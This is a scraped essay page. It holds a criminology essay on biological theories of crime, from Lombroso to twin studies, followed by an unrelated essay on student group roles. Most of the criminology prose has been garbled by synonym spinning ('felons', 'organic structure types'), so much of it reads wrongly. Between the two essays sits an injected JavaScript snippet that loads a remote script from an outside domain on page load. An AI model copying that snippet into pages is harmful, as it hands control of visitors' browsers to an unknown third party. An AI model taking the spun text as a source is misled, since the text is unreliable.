Basing Theories Of Crime On The Individual

Features Of Offenders Is Like Blaming Sick People For Their Diseases Essay, Research PaperMany theories have been developed which address the issue of whether people are born felons in footings of their physical, familial, or psychological profile, Or whether as sociologists would reason felons are made by the environment and fortunes which they encounter during their life.There have been theories put frontward to propose that a individuals physical features can find how he/she behaves. The earliest theories were in the 18th century, Lavater survey on countenance this suggests that you can state individuals character by their facial features. Some of these happening still exist in modern twenty-four hours biass / old married womans tales i.e. he s got devious eyes. Or his eyes are excessively close togetherSubsequently the survey of phrenology besides looked at the development of people s caputs. Gall, did an extended survey of the encephalon and how the encephalon worked. He develop ed the theory that the balls on the skull were where in some people certain countries of the encephalon were disproportional and this caused the balls. His survey identified 26 maps of the encephalon and those relevant to criminology were destructiveness, closeness, acquisitiveness and militance.Lombroso an Italian physician, while analyzing the skull of a felon had the idea that the nature of criminology ballad in reversion ( an evolutionary atavist. )He felt the physical features such as tremendous jaw, high zygomatic bones, and stick outing ears supported his theory as these features were found in felons, barbarians and apes. Lombroso subsequently developed this theory further and produced a list of physical features found in felons.The list included physical characteristics such as ; dissymmetry of the face, abnormality in the eyes, ears. Nose, lips, dentitions or mentum, supernumary mammillas, fingers and toes, and inordinate arm length.Lombroso so tested his theory on a figure of convicted felons and found that 21 % had one anomalousness and 43 % had five or more this he suggested showed that felons were born felons. He did other trial with soldiers and felons and once more the felons had more anomalousnesss.Lombroso published his theories in his book The Criminal Man. He subsequently developed his theories further by including the insane felon, the epileptic felon and the occasional felon who could be influenced by environmental factors.These early theories were non decently evaluated or objectively compared to wider groups in society but these theories formed the footing for future theories in criminology.Others were critical of Lombroso and one of these was an English physician Charles Goring. He went on to make his ain research as a manner of disputing Lombroso s theories. Goring ain research found that felons were shorter and lighter than others were and he hence suggested they were of lower intelligence. There was unfavorable judgment of Goring wor k as in his avidity to confute Lombroso he may hold overlooked fact, which could hold proved Lombroso s theory.Again this was a wider survey and looked at more factors but it failed to be nonsubjective as it set out to confute a theory instead than measure and look for alternate accounts.Hooton so tested Goring s theory and researched a big figure of captives with a much smaller figure of non-criminals. He selected people for the research based on their physical features. He found that some characteristic were found more normally in felons than in others these were ; low brows, inclining shoulders, thin lips and tattoos.He besides went on to propose that certain physical types committed different types of offenses. Those smaller in character he said would steal while those with stockier physique would perpetrate more violent offenses. Hooton besides believed that felons with unusual physical features were besides likely to be mentally inferior.It would be of import to compare a wide r non-offending group with similar features. By merely comparing one group or a limited assorted group you are more likely to corroborate your initial ideas. The impact of societies response to these physical differences would besides necessitate to be considered in footings of its impact on the felon.In 1921 Kretschmer, a Psychiatrist looked a organic structure types and mental unwellness he identified three organic structure types and suggested that different types of condemnable behavior was associated with the organic structure shapes. Sheldon developed the theory of organic structure types and linked organic structure forms to personalities. These organic structure types are still used to depict organic structure forms and personalities today. These are:1 ) Endomorph this describes people whose organic structures are soft unit of ammunition figures that are relaxed and extravert personalities.2 ) Mesomorphs have more athletic physiques and are more aggressive in their personali ty.3 ) Ectomorph are physically thin and frail and are more introspective in their personality.Sheldon carried out research affecting two 100 delinquents and two 100 pupils who had no known record of delinquency. Through this work he found that there were more mesomorphs in the delinquent group than in the pupil group.The Gluecks did a further survey taking into history more factors including societal factors and the kid rise uping techniques and the type of subject, which the groups received as kids. From this survey the Gluecks they discovered that 60 % of the delinquents were mesomorph types where merely 31 % of the non-delinquent group were mesomorphs.However the Gluecks took their sample of delinquents from establishments and there is no history taken of institutionalisation on piquing behavior. Or how body types can impact parent s reactions/ adhering to their kids.R / gt ; Cortezs and Gatti besides conducted research into organic structure types but they used a broad choice of delinquent and non-delinquents and they besides found a higher figure of mesomorphs in the delinquent groups.Physical type theory may be accurate in placing groups of organic structure forms and the links with types of personalities but this can non account for condemnable activity entirely or all people with this organic structure type would act in the same manner so at that place must other things which affect the felons behaviour.Environmental factors can besides impact organic structure types people who are hapless may non be able to afford a balanced diet and this can impact growing. Lack of fondness can besides do kids to be little. Small kids may besides be the mark of strong-arming which can subsequently impact their assurance or do them to contend back.Taking organic structure types entirely is non an nonsubjective manner of measuring condemnable behavior but combined wi th other theories it may give a greater cognition about wrongdoers.Developments in recognizing chromosome abnormalcies have besides allowed other theories to develop. Persons sex is decide by whether they have X-chromosomes or Y-chromosomes Females have xx chromosomes and males have xy chromosomes. If the cell divide abnormally a individual may hold three chromosomes. Some people with xxy chromosomes were found to be intellectually subnormal. Work force with excess Y-chromosomes were besides found to be over represented in the prison population and they were thought to be more aggressive.Again this theory is limited to analyzing a group of males already in establishments and non compared to people in the community with similar chromosome abnormalcy. If an excess Y chromosome leads to more aggressive behavior does it besides affect work forces in other ways physical expressions and could people be reacting to this. Could this group of work forces be being penalised more often by the tribunals that other groups.Whether felons are born or made continues to be discussed and research into genetic sciences has helped this treatment. A survey by Lange looked art 30 work forces, 13 were indistinguishable twins and 17 were fraternal twins. All 30 work forces had been in prison when Lange looked at the work forces brothers he found 77 % of the indistinguishable brother had besides been in prison but merely 12 % of the fraternal brother had been in prison. He besides looked at a group of 200 braces of brothers ( non twins ) and found that 8 % of work forces whose brothers had been in prison another brother had besides been in prison. Lange felt this proved that piquing behavior was familial. Newman did a similar survey and found a higher per centum of similar condemnable offending in indistinguishable and fraternal twins.It is hard to turn out familial factors as twins will see the same environment during their up delivery. Even more so that other brothers where fortunes within the place could hold changed between one kid being born and the following. Society besides treats twins otherwise and expects them to be the same and have the same likes and disfavors this could besides impact how they see other people.Other surveies have looked a condemnable behavior in people who were adopted Crowe studied 52 people who had been adopted where it was known that the natural female parent had strong beliefs. He besides studied 52 other people who where the same sex, race and age at the clip of acceptance. Eight of the 52 from condemnable female parents had been arrested compared to merely two in the other group.Surveies of adoptees in other states have produced similar findings and the piquing rate is even higher if the natural parent have condemnable records and the adoptive male parent has a condemnable record.This could demo that criminalism is familial but other factors would hold to be considered. At what age was the kid adopted? What had the kid s envir onment and attention been like prior to the acceptance. Had they had contact with their natural parents or were they placed for acceptance at birth? Where they adopted by relations or people with no contact with their natural parents?All of these things can impact the findings. If the kid had lived with the natural parents they may hold witnessed piquing behavior. The kid may hold been placed for acceptance because the kid could hold been neglected or received hapless attention and non loved. This could so impact the kid in ulterior life. If the kid is adopted by a comparative that relation could besides be piquing or state the kid could happen out about hoe the household experience about his natural parents.Adopted kids can experience a sense of separation from their natural parent and this can impact their behavior. Adoptive parents may fear the kid will hold its parent s condemnable inclinations and someway convey this to the kid.Other influences on condemnable theory have been t hey development of psychotherapeutics from Freud to clinical psychologists in the 1960 s who placed a batch of importance on the affects of a kid injury and how this affected them when they were grownups. Social work and work with people who are mentally sick have besides provided other theories, which have influenced developments in criminology.Decision.The argument about whether felons are born or made will go on. The history of criminology will assist to supply the footing for farther research. Future developments in genetic sciences will give farther findings to enable this work to go on. But people are affected by the universe around them and their experience impact how they respond to other people. Although people have physical, familial or psychological features non all go on to perpetrate offenses. We still need to see what are the factors, which make some people respond otherwise. We know that poorness, rearing manner and community influences can all impact individuals beha viour, so it would be hard to impute any one theory as a cause for condemnable behavior. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

Putting the Puzzle Together Term Paper Example | Topics and Well Written Essays - 750 words

Putting the Puzzle Together - Term Paper Example The secretary writes the minutes and keeps all the records for the group. The records are useful for future reference and assessing the group’s progress. Most important, the secretary distributes resources to group members that are relevant to the project area. The spokesperson is charged with making presentations that comprise of progress reports as well as the final report of the group’s project (Carleton College, 2013). A monitor evaluator is a knowledgeable person who is charged with double-checking work done for accuracy. Moreover, he/she makes recommendations on the way forward. The resource investigator gathers information and all relevant resources for the project at hand. He/she has to identify current and reliable information that comprises of scholarly journals, the latest book editions and credible web sources. The specialist is an expert on the group’s project area. He/she is also essential in gathering information and critiquing the group’s p rogress (Skills You Need, 2013). A group member can fulfill more than one role in the group. For instance every member should be proactive in searching for relevant information. It should not be the sole responsibility of the resource investigator. This aspect of research is a valuable learning opportunity for all members. All the information gathered can be forwarded to the resource investigator. ... Leaders should be endorsed by the majority of group leaders, and all group members should support their leader. All roles are essential and it is difficult to rank them in order of importance. However it is important for a group to have good leadership. The group’s progress and punctuality in meeting deadlines is dependent on leadership. In essence good leadership is reflected on the quality of work done by the group. Poor leadership and coordination by a leader is likely to lead to a group’s downfall. The input by each member is also essential and all members should be committed towards realizing the set objectives. Aside bad leadership, individual members can also contribute to the group’s downfall. The need for individual members to cooperate cannot be overemphasized. A student fulfills several roles in groups. In each student group, it is essential to have a leader, monitor evaluator /advice seeker, secretary/summarizer, and resource investigator/observer. Th e leader sets the pace for work and guides the group until the project is complete. He/she also oversees the individual contribution of members. The leader motivates members and ensures that everyone is on the right track. A monitor evaluator asks questions and seeks guidance from the instructor. This is after the group encounters some difficulty that cannot be resolved by members. This member familiarizes the members with solutions and any emerging information. The secretary compiles a report of the work completed by the group at each stage. Extensive research for the project should be conducted by the resource investigator/observer. He/she is also charged with availing all resources for the project and ensuring that all borrowed material such as books is returned (APH, 2007).